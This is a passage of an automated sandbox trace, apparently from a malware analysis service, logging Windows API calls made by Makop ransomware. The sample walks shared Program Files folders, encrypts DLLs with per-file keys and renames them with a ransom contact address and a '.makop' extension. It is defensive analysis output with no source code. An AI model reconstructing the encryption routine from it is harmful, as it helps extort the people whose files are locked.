[0102.125] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6576028 | out: phKey=0x6576028*=0x48c7168) returned 1 [0102.125] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.125] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6575ff8 | out: lpNewFilePointer=0x0) returned 1 [0102.125] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6575fec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6575fec*=0x40000, lpOverlapped=0x0) returned 1 [0102.139] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000) returned 1 [0102.142] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.142] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6575ff0*=0x40000, lpOverlapped=0x0) returned 1 [0102.144] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x381814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.144] WriteFile (in: hFile=0x138, lpBuffer=0x6575ff8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6575ff8*, lpNumberOfBytesWritten=0x6575ff0*=0x8, lpOverlapped=0x0) returned 1 [0102.145] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x12b26d, lpNewFilePointer=0x0, dwMoveMethod=0x6575ff8 | out: lpNewFilePointer=0x0) returned 1 [0102.145] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6575fec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6575fec*=0x40000, lpOverlapped=0x0) returned 1 [0102.169] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000) returned 1 [0102.172] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x12b26d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.173] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6575ff0*=0x40000, lpOverlapped=0x0) returned 1 [0102.175] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x381814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.175] WriteFile (in: hFile=0x138, lpBuffer=0x6575ff8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6575ff8*, lpNumberOfBytesWritten=0x6575ff0*=0x8, lpOverlapped=0x0) returned 1 [0102.175] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x341750, lpNewFilePointer=0x0, dwMoveMethod=0x6575ff8 | out: lpNewFilePointer=0x0) returned 1 [0102.175] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6575fec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6575fec*=0x40000, lpOverlapped=0x0) returned 1 [0102.205] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000) returned 1 [0102.208] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x341750, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.209] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6575ff0*=0x40000, lpOverlapped=0x0) returned 1 [0102.210] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x381814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.211] WriteFile (in: hFile=0x138, lpBuffer=0x6575ff8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6575ff8*, lpNumberOfBytesWritten=0x6575ff0*=0x8, lpOverlapped=0x0) returned 1 [0102.211] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.211] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x381814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.211] SetEndOfFile (hFile=0x138) returned 1 [0102.217] GetProcessHeap () returned 0x48a0000 [0102.217] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0102.218] GetProcessHeap () returned 0x48a0000 [0102.218] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0102.218] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 111 [0102.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0102.219] CloseHandle (hObject=0x138) returned 1 [0102.219] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0102.219] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0102.220] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0102.220] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0102.220] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0102.220] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VC") returned 49 [0102.220] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*") returned 53 [0102.220] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0102.222] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.223] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0102.223] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll") returned 62 [0102.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0102.225] GetProcessHeap () returned 0x48a0000 [0102.225] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0102.225] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0102.225] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0102.225] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0102.225] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.225] GetProcessHeap () returned 0x48a0000 [0102.225] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0102.225] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0102.225] CryptDestroyKey (hKey=0x48c7128) returned 1 [0102.226] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0102.230] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0102.230] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0102.230] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0102.230] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0102.230] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0102.230] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0102.230] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.231] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.231] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf1b50, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf1b50, lpOverlapped=0x0) returned 1 [0102.358] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf1b50, dwBufLen=0xf1b50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf1b50) returned 1 [0102.368] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.368] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf1b50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf1b50, lpOverlapped=0x0) returned 1 [0102.375] CryptDestroyKey (hKey=0x48c7128) returned 1 [0102.375] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf1c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.375] SetEndOfFile (hFile=0xf0) returned 1 [0102.490] GetProcessHeap () returned 0x48a0000 [0102.490] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0102.491] GetProcessHeap () returned 0x48a0000 [0102.491] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0102.491] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0102.491] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0102.492] CloseHandle (hObject=0xf0) returned 1 [0102.492] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0102.492] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll") returned 61 [0102.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0102.493] GetProcessHeap () returned 0x48a0000 [0102.493] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0102.493] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0102.493] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0102.493] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0102.493] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.493] GetProcessHeap () returned 0x48a0000 [0102.494] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0102.494] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0102.494] CryptDestroyKey (hKey=0x48c7128) returned 1 [0102.494] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0102.506] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0102.506] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0102.506] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0102.506] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0102.506] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0102.507] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0102.507] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.507] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.507] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd0d50, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd0d50, lpOverlapped=0x0) returned 1 [0102.533] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd0d50, dwBufLen=0xd0d50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd0d50) returned 1 [0102.606] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.606] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd0d50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd0d50, lpOverlapped=0x0) returned 1 [0102.612] CryptDestroyKey (hKey=0x48c7128) returned 1 [0102.612] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd0e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.612] SetEndOfFile (hFile=0xf0) returned 1 [0102.621] GetProcessHeap () returned 0x48a0000 [0102.621] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0102.621] GetProcessHeap () returned 0x48a0000 [0102.621] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0102.621] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0102.621] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0102.623] CloseHandle (hObject=0xf0) returned 1 [0102.623] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0102.623] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0102.623] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0102.623] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX") returned 50 [0102.623] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*") returned 54 [0102.623] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0102.624] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.624] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0102.624] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll") returned 58 [0102.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0102.629] GetLastError () returned 0x5 [0102.629] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, 